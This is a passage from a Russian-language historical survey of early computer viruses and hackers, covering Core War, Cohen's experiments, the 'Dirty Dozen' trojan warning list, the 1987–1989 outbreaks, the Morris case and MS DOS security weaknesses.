этих ребят представляют собой в лучшем случае вандализм, а в худ-
шем -- возможно, правонарушение и воровство. Только несовершенство
уголовного законодательства спасает хакеров от очень серьезных на-
казаний. Компании, которые могут пострадать от этой активности (а
большинство крупных компаний являются очень уязвимыми в этом отно-
шении), предпринимают значительные усилия с тем, чтобы добиться
изменения уголовного законодательства. Несанкционированный доступ
к компьютерным системам уже является серьезным преступлением в ря-
де штатов, и соответствующие законы в настоящее время рассматрива-
ются во многих других штатах и в Конгрессе.
Надвигается взрывоопасная ситуация. С одной стороны, пресса, те-
левидение и фильмы делают героев из этих вандалов, называя их вун-
деркиндами (whiz kids). С другой стороны, действия этих ребят бу-
дут скоро наказываться годами тюрьмы.
Я видел, как эти ребята давали показания Конгрессу. Было совер-
шенно ясно, что они не отдают себе отчета в серьезности своих дей-
ствий. Это, возможно, связано с различиями в культурном уровне
(cultural gap). Проникновение в компьютерные системы должно накла-
дывать на человека такое же клеймо, как проникновение в чужую
квартиру. И не имеет никакого значения, что дверь соседа оказалась
незапертой. Пресса должна понять, что неверное использование ком-
пьютера ничем не лучше управления автомобилем в нетрезвом состоя-
нии (перевод Н.Н.Безрукова).
1.1.6. Игра Бой в памяти, работы Коэна и другие события 1984 г.
1984 г. оказался переломным в истории компьютерных вирусов -- в
течение года произошло несколько событий исторического значения
с точки зрения компьютерных вирусов.
В мае 1984 г. в журнале Scientific American А.К.Дьюдни
(A.K.Dewdney) -- автором колонки Занимательный компьютер
(Computer Recreations) был опубликован упрощенный вариант игры
Darvin, названный Core War (Бой в памяти) [Dewdney84]. Игра
вызвала значительный читательский интерес, и впоследствии было да-
же организовано международное общество International Core War
Society cо штаб-квартирой в США и филиалами в Италии, Польше, ФРГ,
Японии и СССР (152140 Переславль-Залесский 5, а/я 10, Лилитко
Е.П.) [Лилитко89]. В данной игре два игрока пишут по одной про-
грамме каждый на языке низкого уровня REDCODE. Программы помещают-
ся в большой циклически замкнутый участок памяти. Каждая команда
занимает одну ячейку памяти. Управляющая программа поочередно ис-
полняет одну команду каждой программы, подобно простейшей системе
реального времени. Программы атакуют друг друга и в то же время
пытаются избежать повреждений и восстанавливать поврежденные обла-
сти. Простейшая атака состоит в использовании команды MOV (запи-
сать в память). Например: MOV #0,1000 может убить наповал враже-
скую программу, если попадет в следующую исполняемую команду (т.е.
если следующая выполняемая команда врага расположена по адресу
1000) или ранить, если это данные или исполняемые команды, или
наконец, попасть мимо, если ячейка 1000 противной стороной не
используется.
Два итальянских программиста Р.Черути (Roberto Cerutti) и М.Мо-
рокути (Marco Morocutti), основываясь на идеях игры, попытались
создать программу, обладающую свойством саморазмножения в реальных
условиях, на Apple II, получившей к этому времени распространение
во всем мире (впрочем, наша страна, как и некоторые другие находи-
лась в стороне от этого процесса). Apple II имел дисковод для
гибких дисков, и итальянцам удалось нащупать основную идею бутово-
го вируса -- перехват прерывания по чтению и заражение каждой
вставляемой в ЭВМ дискеты. Они также сообразили, что будучи реали-
зованной, программа вызвала бы миниэпидемию в масштабах их родного
города Брешиа. Более того, поняв, что указанная программа является
компьютерным вирусом, они по аналогии с естественными вирусами
пришли к идее о том, что компьютерный вирус может наносить вред.
Для этой цели они предложили встроить счетчик в бутсектор и через
каждые 16 размножений (это, по сути, первое упоминание идеи счет-
чика в бутсекторе -- идеи, которая будет открываться и переоткры-
ваться многими разработчиками вирусов для IBM PC) запускать пере-
форматирование дискеты. Однако они во-время ужаснулись возможным
последствиям и отказались от реализации практически полностью спе-
цифицированной программы. Тем не менее, они имели неосторожность
изложить свои идеи достаточно подробно в письме в журнал
Scientific American, а А.К.Дьюдни в апрельском (за 1985 г.) об-
зоре писем читателей по поводу игры Бой в памяти [Dewdney85]
опубликовал их письмо. Последнее можно рассматривать как первую
достаточно полную опубликованную спецификацию бутового вируса.
Рассматриваемая публикация несколько ускорила последующие собы-
тия, хотя сам их ход был уже предопределен. Поскольку журнал
Scientific American относится к наиболее читаемым научно-попу-
лярным журналам как в США, так и в других западных странах, письмо
Р.Черути и М.Морокути было замечено, и попытки повторения не за-
ставили себя долго ждать. Так, вирус, реализованный по опублико-
ванному описанию Р.Скрентой-младшим из Питсбурга (США), быстро
распространился по дискетам его знакомых и преподавателей. Для
борьбы с ним был написан антивирус, однако он оказался не в состо-
янии предотвратить дальнейшее распространение вируса.
В сентябре 1984 г. была опубликована статья Ф.Коэна (Fred Cohen)
[Cohen84], в которой автор исследовал разновидность файлового ви-
руса. Это фактически второе академическое исследование проблемы
вирусов. Работа содержала полезное, хотя и недостаточно строгое
формальное определение вируса и ряд важных соображений о большой
потенциальной опасности компьютерных вирусов, а также относительно
того, что для своего размножения вирусу достаточно обычных опера-
ций, реализуемых файловой системой любой ОС. Ф.Коэн описал ряд
экспериментов, проделанных 3.11.83 г. на системе VAX 11/750, рабо-
тающей под управлением ОС UNIX. Вирус был имплантирован в начало
утилиты VD, которая позволяла графически отображать структуру ка-
талогов диска. Поскольку VD была новой программой, о ее характери-
стиках пользователи представления не имели. В ходе пяти экспери-
ментов пользователю зараженной программы в течение определенного
времени (от 5 до 30 мин.) предоставлялся статус суперпользователя.
Эксперимент показал достаточно высокую скорость размножения вируса
(1/2 с. на заражение) и большое количество зараженных файлов. По
материалам этой статьи в 1984 г. появилась статья в журнале Шпи-
гель под названием Тайная инструкция [Spiegel84], которая вы-
звала оживленную дискуссию в ФРГ. В дискуссии принял участие и сам
Ф.Коэн. Уже тогда обсуждались вопросы о целесообразности публика-
ций по данной тематике. Как пишет в своей книге Р.Бургер, Джером
Лоубел -- советник по безопасности компьютеров фирмы Honeywell
Informations Systems, возражал против публичного обсуждения дан-
ного вопроса. В свою защиту Ф.Коэн привел следующие соображения:
Суть дела заключается все же в том, что если придумать что-либо в
этом роде под силу мне, то это может также сделать и кто-то дру-
гой, и этот другой может оказаться скверным парнем. Забегая
вперед, следует отметить, что в 1986 г. Ф.Коэн защитил диссертацию
под названием Компьютерные вирусы.
В 1985 г. на страницах журнала KES (ФРГ) Р.Дирштейн
(R.Dierstein) опубликовал комментированный перевод работы Ф.Коэна
[Dierstein85]. Этим же автором опубликовано еще несколько работ по
данной тематике, в частности [Dierstein86] и Computer viruses: a
secret threat в трудах конференции Securicom (Париж, 1986).
1.1.7. Первые попытки противодействия: список грязная дюжина и первые антивирусные программы
В том же 1985 г. Том Нельф (Tom Nelf) начал распространять по
различным BBS список Грязная дюжина -- список опасных загружаемых
программ (The Dirty Dosen -- An Unloaded Program Alert List), в
котором были перечислены известные на тот момент программы-ванда-
лы. В дальнейшем этот список, включающий большинство выявленных
троянских программ и взломанные или переименованные копии ком-
мерческого программного обеспечения для MS DOS, стал широко изве-
стен и получил сокращенное название грязная дюжина (dirty
dosen). В настоящее время список поддерживается Эриком Ньюхаузом
(Eric Newhouse) из Лос-Анжелеса и может быть получен практически
через любую сеть. В пояснениях к нему Эрик Ньюхауз отмечает, что
пользователи т могут быть уверены только в одной свойстве их вин-
честеров -- в том, что рано или поздно они полетят. Часто пользо-
ватель будет винить в этом программу, хотя на самом деле проблема
связана с электроникой или механикой. Помните, что слухи о троян-
ских программах легче запустить, чем остановить. Последний совет
не мешало бы помнить и некоторым авторам околовирусных публика-
ций (см., например, [Основcкий90]). Один из ранних вариантов этого
списка был опубликован в [Solomon88] (рис.1).
С распространением троянских программ стали создаваться програм-
мы защиты, которые можно рассматривать и как первые антивирусные
программы. Зимой 1984 г. Анди Хопкинс (Andy Hopkins) написал про-
граммы CHK4BOMB и BOMBSQAD. Первая из них позволяла проанализиро-
вать текст загрузочного модуля и выявляла все текстовые сообщения
и подозрительные участки кода (команды прямой записи на диск и
др.). Благодаря своей простоте (фактически использовался только
контекстный поиск) и эффективности CHK4BOMB получила значительную
популярность. Программа BOMBSQAD.COM перехватывает операции записи
и форматирования, выполняемые через BIOS. При выявлении запрещен-
ной операции можно разрешить ее выполнение. В начале 1985 г. Ги
Вонг (Gee Wong) написал программу DPROTECT -- резидентную програм-
му, перехватывающую попытки записи на дискеты и винчестер. Она
блокировала все операции (запись, форматирование), выполняемые че-
рез BIOS. В случае выявления такой операции программа требует ре-
старта системы. Несколько позднее появилась программа FLUSHOT, на-
писанная Росс М. Гринберг. Более поздняя версия этой программы --
FluShot Plus (версия 1.7), распространяемая как SHAREWARE с реги-
страционной ценой 10 долларов, используется и в настоящее время.
Из европейских программ отметим резидентный сторож VIRBLK, кото-
рый был написан в Вене Михелем Фитцем, и программу ANTI4US2, напи-
санную Э.Лайтингом. Название последней связано с тем, что число 4
по-немецки звучит как фир, что позволяет прочитать название как
антифирус2.
Троянские программы для ПЭВМ, совместимых с IBM PC
123JOKE - Якобы утилита для Lotus 1-2-3.
Разрушает каталоги.
ALTCTRL.ARC - Портит загрузочный сектор.
ARC513.EXE - Троянская версия архиватора. Отличается по
длине (архиватор ~ 32К). Портит бутсектор.
ARC514.COM - То же самое. Архиватор всегда .EXE.
BACKALLY.COM - Через несколько месяцев портит FAT.
BACKTALK - Случайное затирание секторов на винчестере.
BXD.ARC - Предупреждает, потом затирает FAT.
CDIR.COM - Выдает себя за утилиту, высвечивающую
каталоги в цвете -- на самом деле портит FAT.
CHUNKER.EXE - Портит FAT, возможно -- ошибка.
COMPRESS.ARC - Якобы Shareware from Borland, портит FAT.
DANCERS.BAS - Под красивые картинки портит FAT.
DEFENDER.ARC - Пишет в CMOS и форматирует диск.
DISKACHE.EXE - Вероятно ошибка, но может испортить FAT.
DISKSCAN.EXE - Якобы ищет плохие сектора,на деле -- создает.
DMASTER - --
DOSKNOWS.EXE - --
DPROTECT - --
EGABTR - Якобы улучшает работу EGA, затирает диски.
ELEVATOR.ARC - Затирает файлы, может форматировать диски.
EMMCACHE - Портит файлы, затирает загрузочный сектор.
FILER.EXE - Затирает диски.
FUTURE.BAS - Портит FAT, затирает корневой каталог.
MAP ???
NOTROJ.COM - Претендует быть антитроянской программой,
на деле - наоборот.
TIRED - Портит FAT.
TSRMAP - Дает карту программ TSR, затирает бутсектор.
PACKDIR - Якобы оптимизирует винчестер, портит FAT.
PCLOCK - Портит FAT.
PCW271xx.ARC - Троянская версия PC-Write v2.71, размером
98274 байта (настоящая - 98644). Портит FAT.
PKX35B35.EXE - Портит FAT. Настоящая называется PKX35A35.
RCKVIDEO - Под картинки рок-звезды портит FAT.
SCRNSAVE.COM - Затирает винчестер.
SECRET.BAS - Форматирует диски.
SEX-SHOW.ARC - Затирает все файлы в каталоге.
SIDEWAYS.COM - Настоящая программа обеспечивает фоновую
печать, эта - портит бутсектор.
SUG.ARC - Якобы снимает защиту Softguard, портит FAT.
TOPDOS - Форматирует винчестер.
VDIR.COM - Портит файлы на диске.
VISIWORD.ARC - Портит диск.
WARDIAL1.ARC - Портит FAT.
Рис.1. Один из ранних вариантов списка грязная дюжина.
1.2. Второй этап -- компьютеры в осаде
Ох! Знобит от рассказа дотошного
В.Высоцкий
События 1985-86 гг. по времени совпали с быстрым ростом произ-
водства и резким снижением цен на ПЭВМ серии IBM PC (появились мо-
дели по цене менее 1000 долларов), которые и ознаменовали начало
нового этапа развития компьютерных вирусов (отметим, что в 1989 г.
американцы имели возможность купить за ту же цену модель с процес-
сором 80386 -- см., например, Byte, 1989, v.14, щ 6, p.65, а в
1989 г. по крайней мере в одном американском университете -- Drexel
University, штат Филадельфия, к поступающим предъявлялось требова-
ние иметь собственный компьютер). Поэтому второй этап в развитии
вирусов связан с достижением критической массы произведенных
ПЭВМ, совместимых с IBM PC -- самого массового компьютера в истории
развития вычислительной техники. Эта масса, по-видимому, была
достигнута в 1987 г., когда одновременно в нескольких странах про-
изошли вспышки заражения компьютеров вирусами. Эти вспышки и озна-
меновали начало второго этапа развития рассматриваемого класса
программ, на котором они уже стали представлять собой угрозу для
всех пользователей ПЭВМ. В отличие от первого этапа, когда разра-
ботки вирусоподобных программ носили исследовательский характер и
авторы выполняли эксперименты, заручившись согласием пользовате-
лей, стараясь внести какой-то вклад в системное программирование,
атмосфера второго этапа носит характер противостояния пользовате-
лей группе безответственных или уголовных элементов.
1.2.1. Хакеры
Можно противостоять всему,
за исключением искушения
О.Уайлд
Массовое распространение клонов IBM PC привело к резкому увели-
чению количества людей, активно занимающихся программированием на
компьютере, а следовательно, и прослойки компьютерных фанатов.
Если раньше этот тип людей встречался в основном в университетских
городках и больших вычислительных центрах, то с распространением
клонов IBM PC ситуация существенно изменилась. Обладателями мощных
и в то же время дешевых компьютеров стали школьники, пенсионеры, а
также другие лица, располагавшие, помимо желания попробовать свои
силы в программировании, еще и значительным количеством свободного
времени.
Как и в других областях человеческой деятельности, спектр отно-
шения людей к программированию и вычислительным машинам очень ши-
рок: от ненависти, через полное безразличие до патологической при-
вязанности или зависимости, которую можно квалифицировать как ма-
нию. Всякий работавший в вычислительном центре на больших ЭВМ и
видевший, как к концу второй смены некоторые программисты наспех
вносят плохо продуманные изменения в свои программы и умоляют
электронщиков дать еще минутку, чтобы посмотреть, что получится,
узнает сцену, описанную Ф.М.Достоевским в романе Игрок:
В одиннадцатом часу у игорных столов остаются настоящие, отча-
янные игроки, для которых на водах существует только одна рулетка,
которые и приехали для нее одной, которые плохо замечают, что вок-
руг них происходит, и ничем не интересуются весь сезон, а только
играют с утра до ночи и готовы были бы играть, пожалуй, и всю ночь
до рассвета, если б можно было. И всегда они с досадой расходятся,
когда в двенадцать часов закрывают рулетку. И когда старший крупер
перед закрытием рулетки около двенадцати часов, возглашает: Les
trois derniers coups, messieurs ! (Три последних игры (букв.:
удара), господа -- прим. перев.), то они готовы иногда проставить
на этих трех последних ударах все, что у них есть в кармане, -- и
действительно тут-то наиболее и проигрываются [Полн. собр. соч. в
30-ти томах. -- Л.: Наука, т.5, 1973, c.292].
Психологи отмечают, что у страстных игроков имеются определенные
психологические черты, роднящие их с одержимыми программистами.
Для страстного игрока игра -- это все (весь мир -- игра). Даже вы-
игрыш менее важен, чем сама игра. В свою очередь, для программи-
ста-фаната работа за дисплеем -- это и есть настоящая жизнь, а все
остальное -- скучная обязаловка. Одержимый программист с трудом
переносит разлуку с машиной. Постоянная работа с машиной наклады-
вает определенный отпечаток на язык и мышление таких людей. Наблю-
дается перенос некоторых программистских терминов типа зациклил-
ся, завис, вычислить (например фраза я тебя вычислил ис-
пользуется со значением я понял, разгадал что-то) в повседневную
жизнь. Создается впечатление, что другие люди воспринимаются ими
как программы, а окружающая среда -- как некая супероперационка,
для вселенского гиперкомпьютера.
Вместо сочетания одержимый программист как в разговорной речи,
так и в литературе часто используется термин хакер (от англ.
Hack -- рубить, кромсать) и уже создан определенный образ хакера.
Это очень способный молодой человек, работающий за дисплеем по 12
-- 16 ч. подряд, до полного изнеможения, а если представляется воз-
можность, то и ночи напролет. Питается урывками. Внешний вид сви-
детельствует о том, что он не обращает внимания на внешний мир и
не слишком интересуется мнением окружающих: джинсы, мятая рубашка,
нечесанные волосы. Блестяще знает все подробности операционной си-
стемы, языка ассемблера и особенности периферийного оборудования.
Основная продукция -- маленькие недокументированные системные
программы, ради которых, а также ценя в нем консультанта по деб-
рям операционной системы и внешних устройств, ему и разрешают ра-
ботать на машине, когда он хочет и сколько он хочет. Обычный метод
их создания -- кромсание чужих программ, что и объясняет смысл
термина хакер. В просвещенном варианте -- это дизассемблирование
подходящей программы, модификация ассемблерного текста c удалением
следов принадлежности программы другому автору, даже если доработ-
ка в сущности была совсем пустяковая, вставка собственной клички
(обычно достаточно экзотической, например SuperHunter), а затем
ассемблирование. Документация, естественно, не нужна, поскольку
сам хакер знает, что послужило прототипом, да и вообще руководст-
вуется принципом умный догадается, а дураку не нужно. В диком
варианте кромсается непосредственно загрузочный модуль в отладчи-
ке. Здесь отсутствует не только документация, но и исходный текст
изделия.
Ну и конечно, у каждого хакера есть сверхзадача, своего рода го-
лубая мечта (удачные небольшие системные программки, благодаря ко-
торым он пользуется уважением, им самим рассматриваются как подел-
ки): новая операционная система, алгоритмический язык, программа,
выигрывающая у человека в какую-нибудь сложную, интеллектуальную
игру, или инструментальная система супер -- облегчающая все, все,
все (самая любимая задача). Конечно, статус хакера не является по-
жизненным. Это своего рода детская болезнь, и из среды нормаль-
ных хакеров вышел ряд известных разработчиков системного програм-
много обеспечения.
Для части хакеров, обычно называемых кракерами, в качестве
сверхзадачи выступает проникновение в какую-нибудь систему, снятие
защиты программного продукта от копирования или что-то аналогич-
ное. Именно эта часть хакеров становится причиной головной боли
разработчиков коммерческого программного обеспечения, снабженного
средствами защиты от незаконного копирования, а также пользовате-
лей баз данных с конфиденциальной информацией.
Другая часть кракеров, иногда называемых информационными путе-
шественниками, специализируется на проникновении в удаленные ком-
пьютеры, подключенные к некоторой сети. Так, студенты одного из
университетов США составили и сумели ввести в ЭВМ программу, ими-
тирующую работу с удаленными пользователями. К моменту разоблаче-
ния пользователи сумели получить более 100 таких паролей. Деятель-
ность этой разновидности кракеров в большинстве западных стран
рассматривается или граничит с уголовной. Неслучайно ряд кракеров
на Западе были осуждены на сроки от 6 месяцев до 10 лет тюремного
заключения.
И наконец, самая худшая порода хакеров -- это создатели троянских
программ и компьютерных вирусов. Впрочем, их уже нельзя назвать
хакерами, поскольку неформальный кодекс хакера запрещает исполь-
зование своих знаний операционной систем и оборудования во вред
пользователям. Это своего рода паршивые овцы, которые бросают
тень на хакеров в целом. Обычно их называют техно-крысами. По-
скольку жертвами вирусов обычно становятся не специалисты, а те,
кто использует компьютер как инструмент своей профессиональной де-
ятельности или как хобби, психология разработчиков вирусов сродни
психологии негодяев, отбирающих деньги у школьников младших клас-
сов, которые мать дала им на обед.
1.2.2. Первые случаи массового заражения
До чего же нам иногда тесно
в разумных пределах
Евгений Сагаловский
Как уже отмечалось, в 1987 г. в разных местах, независимо друг
от друга были зарегистрированы три случая массового заражения кло-
нов IBM PC компьютерными вирусами.
Первым Вирусом-87 был так называемый Пакистанский вирус, разра-
ботанный братьями Амджатом и Базитом Алви (Amdjat и Basit Faroog
Alvi) в 1986 г. Он был обнаружен летом 1987 г. По непроверенным
(и, вероятно, завышенным) данным, приведенным Маккафи (McAfee)
[McAfee89b], он заразил только в США более 18 тысяч компьютеров.
Этот бутовый вирус создан в основном Амджадом -- 26-летним выпуск-
ником отделения физики Пенджабского университета, который, по его
заявлению, пытался наказать американцев, покупавших дешевые неза-
конные копии программ в Пакистане. Амджат утверждает, что по паки-
станским законам свободное копирование не является преступлением,
и хотя он не одобряет такое положение вещей, вынужден с ним ми-
риться и не может наказывать других. Поэтому он не продавал зара-
женные вирусом незаконные копии пакистанским покупателям. Другое
дело -- американцы, у которых существуют законы, запрещающие пират-
ство. Их, по его мнению, стоило проучить. К середине 1987 г.
братья признали, что уже достаточно проучили пиратов и прекратили
распространение вируса. Однако вирус уже сумел распространиться по
США, а оттуда попал в другие страны, в том числе и в СССР. Кроме
того, начали появляться штаммы с измененными текстовыми сообщения-
ми и свойствами.
Вторым Вирусом-87 стал Лехайский вирус, появившийся в ноябре
1987 г. в одноименном университете США. В течение нескольких дней
этот вирус уничтожил содержимое нескольких сот дискет из библиоте-
ки вычислительного центра университета и личных дискет студентов
[Wyk89]. По данным Маккафи, опубликованным в журнале Datamation
[McAfee89b], по состоянию на февраль 1989 г. только в США этим
вирусом было заражено порядка четырех тысяч компьютеров. Следует
отметить, что учитывая склонность Маккафи искажать данные в выгод-
ную для него сторону к приводимым им цифрам нужно относиться кри-
тически, уменьшая их примерно в пять раз.
Перед самым Новым годом, 30 декабря 1987 г., был обнаружен вирус
в Иерусалимском Университете (Израиль). Хотя существенного вреда
этот вирус не принес, он быстро распространился по всему миру (по
данным Маккафи, более 3 тысяч зараженных компьютеров только в США)
и, по-видимому, является первым вирусом, распространение которого
приобрело характер пандемии [Radai89].
В том же 1987 г. в издательстве Data-Becker вышла монография
Р.Бургера Компьютерные вирусы. Она выдержала несколько переизда-
ний, переведена на английский язык, а в 1989 г. -- на русский язык
[Burger88]. Автор неосторожно включил в книгу ряд исходных текстов
демонстрационных программ вирусов на разных языках и листинг так
называемого венского вируса. Такой, чрезмерно расширенный, несмот-
ря на изменившуюся ситуацию, уровень гласности дает основания
рассматривать роль данной книги как весьма противоречивую.
Свой вклад в распространение вирусов внесли и некоторые журналы.
Так, журнал C't в том же году опубликовал код вируса уголек
для ПЭВМ Atary ST и фаг к этому вирусу [Krabel87]. Вскоре этот ви-
рус проник в компьютеры издательства Data-Becker, а затем и на ди-
стрибутивные дискеты, распространяемые этой фирмой. К счастью, он
был быстро обнаружен и уничтожен.
В 1988 г. проблема защиты программного обеспечения от заражения
компьютерными вирусами в странах США и Западной Европы приобрела
характер приоритетной. Это прежде всего связано с тем, что в усло-
виях значительной зависимости различных учреждений от компьютерных
систем, проникновение вирусов представляет потенциальную опасность
и может привести к серьезным последствиям. Например, летом 1988 г.
компьютерный вирус инфицировал три компьютера в Мичиганском госпи-
тале, которые обрабатывали информацию о пациентах. Он был обнару-
жен в процессе анализа причин неправильного функционирования сис-
темы, заключавшейся в том, что на дисплей неверно вызывались рас-
ширенные диагностические сведения. По данным администрации госпи-
таля вирус перемешал фамилии пациентов в базе данных ПЭВМ
Macintosh II. Как показало расследование, вирус был занесен при
ремонте винчестера одного из компьютеров. К счастью, никому из па-
циентов не был поставлен неправильный диагноз или назначено непра-
вильное лечение в результате перемешивания фамилий пациентов в ба-
зе данных. Однако, по мнению специалистов, это был вопрос времени
и вполне мог стоить кому-то жизни. Данный случай является вторым
случаем вторжения в медицинские компьютеры (первый был связан с
проникновением кракеров, которые просматривали базу данных, но не
нанесли никакого ущерба) и первым случаем, когда настоящие данные
пациентов и диагностирования манипулировались вирусом [Zajac89c].
Из компьютерных Вирусов-88 отметим вирус падающих букв и италь-
янский попрыгунчик, распространение которых также приняло харак-
тер эпидемии. Особое внимание общественности привлек так называе-
мый вирус Морриса: 2.11.88 г. Роберт Моррис-младший, аспирант фа-
культета информатики Корнельского Университета инфицировал с по-
мощью написанного им вируса большое количество компьютеров (по
ориентировочным оценкам порядка 6000), подключенных к американской
национальной сети Internet (не путать c распространенной локальной
сетью Ethernet) [Highland89b]. Хотя никакой потери или изменения
данных не произошло, многие тысячи часов рабочего времени были по-
теряны пользователями Internet.
Это событие вызвало значительную реакцию американской и мировой,
прессы, включая советскую. Так ведущие американские газеты, вклю-
чая Чикаго Трибьюн, Нью-Йорк Таймс и Бостон Геральд, опубли-
ковали репортажи с места события. Ими широко освещалась динамика
распространения вируса и разработка методов борьбы с ним, а также
затрагивались общие проблемы обеспечения безопасности компьютерных
систем. Позднее в аналитических статьях по этому поводу обсужда-
лись нерешенные проблемы, относящиеся к вопросам безопасности ком-
пьютерных систем, и предлагались законодательные инициативы, на-
правленные на предотвращение подобных случаев в дальнейшем. В час-
тности, не без влияния этой серии публикаций в палате представите-
лей были внесены два проекта законов, предусматривающих уголовное
наказание за создание и распространение компьютерных вирусов.
Помимо информации типа как это было и то ли еще будет, в
американской прессе широко обсуждался вопрос о том, как квалифици-
ровать поступок Морриса: является ли Моррис героем-хакером, кото-
рый без нанесения серьезного ущерба указал на слабые места в наци-
ональной компьютерной сети, или он является преступником, который
должен быть сурово наказан. При этом характер обсуждения и поляри-
зация мнений в некоторой степени напоминали дискуссии по поводу
известного всем нам случая с посадкой Руста на Красную площадь.
Вскоре Моррис был отчислен из Корнельского университета.
Министерство юстиции США довольно долго изучало вопрос о возмож-
ности привлечения Морриса к суду на основе действующего законода-
тельства, и только 18 января 1990 г. в городе Сиракьюс (штат Нью-
Йорк) начался судебный процесс по делу Морриса. Нанесенный ущерб
был оценен в 150 тыс. долларов. Процесс над Моррисом стал возмо-
жен в результате принятия в 1986 г. федерального закона об ответ-
ственности за преступления, связанные с компьютерами (1986 U.S.
Computer Fraud and Abuse Act). Моррису грозил штраф в 250 тыс.
долларов и тюремное заключение сроком до 5 лет. Адвокат Морриса
утверждал, что тот якобы создал вирус для проведения эксперимента
по проверке защиты компьютера. При этом он допустил ошибку, кото-
рая и привела к нежелательным результатам. Моррис, по словам адво-
ката, не стремился нанести какой-либо ущерб компьютерным системам
США. Интересно отметить, что в интервью репортеру одной из амери-
канских газет мать Морриса упомянула тот факт, что роман The
Shockware Rider Джона Бруннера был одной из наиболее зачитанных
книг в комнате юного Морриса. 4 мая 1990 г. суд присяжных признал
Морриса виновным. Он был приговорен к условному заключению сроком
на два года, 400 часам общественных работ (американский аналог
отечественных 15 суток) и штрафу размером 10 тыс. долларов. Осуж-
дение Р.Морриса-младшего показывает что американское общество уже
осознает опасность и предпринимает меры по борьбе с ней.
В 1989 г. панику в США и западноевропейских странах вызвали
вирусы DATACRIME, которые запрограммированы так, что начиная с 12
октября они разрушают файловую систему, а до этой даты просто раз-
множаются. Эта серия компьютерных вирусов, состоящая, как полага-
ют, из трех программ (Датакрайм 1, 2, 3) начала распространяться
в Нидерландах, США и Японии приблизительно в начале 1989 г. и к
сентябрю поразила, по некоторым оценкам (которым, впрочем, не сто-
ит особенно доверять), около 100 тысяч ПЭВМ только в Нидерландах
(что составляет около 10% от их общего количества в стране). Даже
фирма IBM отреагировала на эту угрозу, выпустив свой детектор
VIRSCAN, позволяющий искать характерные для того или иного вируса
строки (сигнатуры) в файловой системе. Набор сигнатур может допол-
няться и изменяться пользователем. В нашей стране в 1989 и 1990
гг. случаев заражения данным вирусом не отмечалось; потенциальную
опасность представляет 12.10.91 г.
В начале августа 1989 г. в Амстердаме состоялся международный
съезд хакеров, в ходе которого были продемонстрированы дыры в
существующих системах обеспечения безопасности и контроля от не-
санкционированного доступа. В качестве доказательства своих спо-
собностей представители одной из групп кракеров, подключившись к
ЭВМ местного банка, получили 270 тысяч франков. Вернув на следую-
щий день эту сумму наличными, кракеры продемонстрировали уязви-
мость системы защиты банковских компьютеров.
Еще одной нашумевшей историей была так называемая AIDS
Information Trojan -- троянская программа, распространявшаяся в де-
кабре 1989 г. в составе пакета с базой данных о заболевании синд-
ромом приобретенного иммунодефицита (СПИД). Как программа, так и
база данных были записаны на дискете, которая была разослана 20
тысячам заказчиков, включая ряд медицинских и общественных органи-
заций США, Франции, Великобритании, ФРГ, Дании, Норвегии, Швеции и
многих других стран. Затраты на рассылку составили порядка 200
тыс. долларов. Все адресаты получили по почте посылку с упаковкой
данного продукта, на которой указывалось его назначение, а на об-
ратной стороне крайне мелким шрифтом были набраны условия распро-
странения. Сопроводительное письмо извещало, что на дискете содер-
жатся новые сведения по проблемам СПИДа, но в письме условия ис-
пользования дискет не указывались. После записи на винчестер, они
действительно начали выдавать информацию по обещанной тематике.
Однако затем вся информация на винчестере была перекодирована и на
экранах появилось требование перечислить сумму в 378 долларов на
счет незарегистрированной фирмы в Панаме. В этом случае пользова-
телю якобы будет выслана программа восстановления перекодированной
информации. Среди пострадавших были как индивидуальные владельцы
компьютеров, так и лаборатории, научные центры, больницы. В неко-
торых случаях заблокированным оказался итог работы целых научных
коллективов. Джозеф Попп, предполагаемый распространитель этой
троянской программы, был арестован в феврале 1990 г. в американ-
ском штате Огайо. Если эксперты подтвердят его психическую полно-
ценность, ему не миновать тюремного заключения за проведение этой
операции по вирусному рэкету.
1.2.3. Вирусы и MS DOS
Интересно отметить, что еще в версии 3.0 операционной системы
CP/M можно было защитить файлы и диски от записи или чтения с по-
мощью паролей. Поэтому вызывает сожаление выжидательная позиция
фирмы Микрософт, которая могла бы при выпуске очередной версии MS
DOS легко закрыть хотя бы самые зияющие дыры в MS DOS (отсутст-
вие проверки контрольной суммы файла перед передачей ему управле-
ния, возможность сброса атрибута READ ONLY без подтверждения поль-
зователя, люки -- различные нелегальные способы получения адреса
прерывания 13 и др.). Возможно, здесь нельзя исключить и опреде-
ленный политический расчет на то, что сложившаяся ситуация будет
способствовать уменьшению количества случаев незаконного копирова-
ния коммерческого программного обеспечения, которое существенно
уменьшает доходы фирмы, а также переходу пользователей к более со-
вершенной и снабженной средствами регламентации доступа к файлам
операционной системе OS/2. Последняя из-за повышенных требований к
оборудованию (рекомендуется наличие четырех или более мегабайт
оперативной памяти) пока не пользуется ощутимым успехом. Следует
отметить, что мнение о полезности вирусов для разработчиков сис-
темного программного обеспечения было высказано официально Эндрю
Золтовским -- директором фирмы NOVELL UK Ltd, который в интервью
корреспонденту советско-польского журнала Компьютер заявил: Сей-
час стало ясно, что великолепным средством борьбы с нелегальными
копиями сталит компьютерные вирусы, распространяемые чаще всего с
бесплатным (читай ворованным) программным обеспечением [Компью-
тер, 1990, щ 2, c.5]. Такая позиция не только не этична, но и по
существу опасна для самой фирмы, исповедующей такую философию.
Ведь помимо разработчиков коммерческого программного обеспечения
существуют разработчики бесплатно распространяемого (FREEWARE) и
субсидируемого пользователями (SHAREWARE) программного обеспече-
ния, которые страдают из-за падения интереса к их продуктам в
связи с угрозой заражения. Да и для разработчиков коммерческого
программного обеспечения опасно рассматривать вирусы как средство
увеличения доходов от продажи своего программного обеспечения: от-
сюда только шаг к борьбе с конкурентами с помощью вирусов, ориен-
тированных на конкретный программный продукт, скажем, версию 2.15
сетевой операционной системы Advanced Netware. Ведь наверняка есть
люди, считающие, что положение фирмы NOWELL на рынке не соответст-
вует действительному качеству ее продуктов и препятствует более
прогрессивным решениям занять свое место под солнцем.
Так или иначе, но операционная система MS DOS показала себя не
только user friendly, но и virus friendly. И такое положение,
по-видимому, фирму устраивает: в версии 4.0 не предпринято ника-
ких специальных мер в указанном направлении. Впрочем, многие поль-
зователи считают, что эту версию имеет смысл использовать лишь в
сочетании с системой MS Windows 3.0, и не спешат переходить на
нее с версии 3.3.
1.2.4. Появление более вирусоустойчивых альтернатив MS DOS
Следует отметить, что в настоящее время появилось несколько аль-
тернативных, полностью совместимых с MS DOS операционных систем,
обеспечивающих ряд дополнительных возможностей защиты информации
от несанкционированного доступа, включая заражение программ виру-
сами или различного рода попытки искажения или уничтожения файлов.
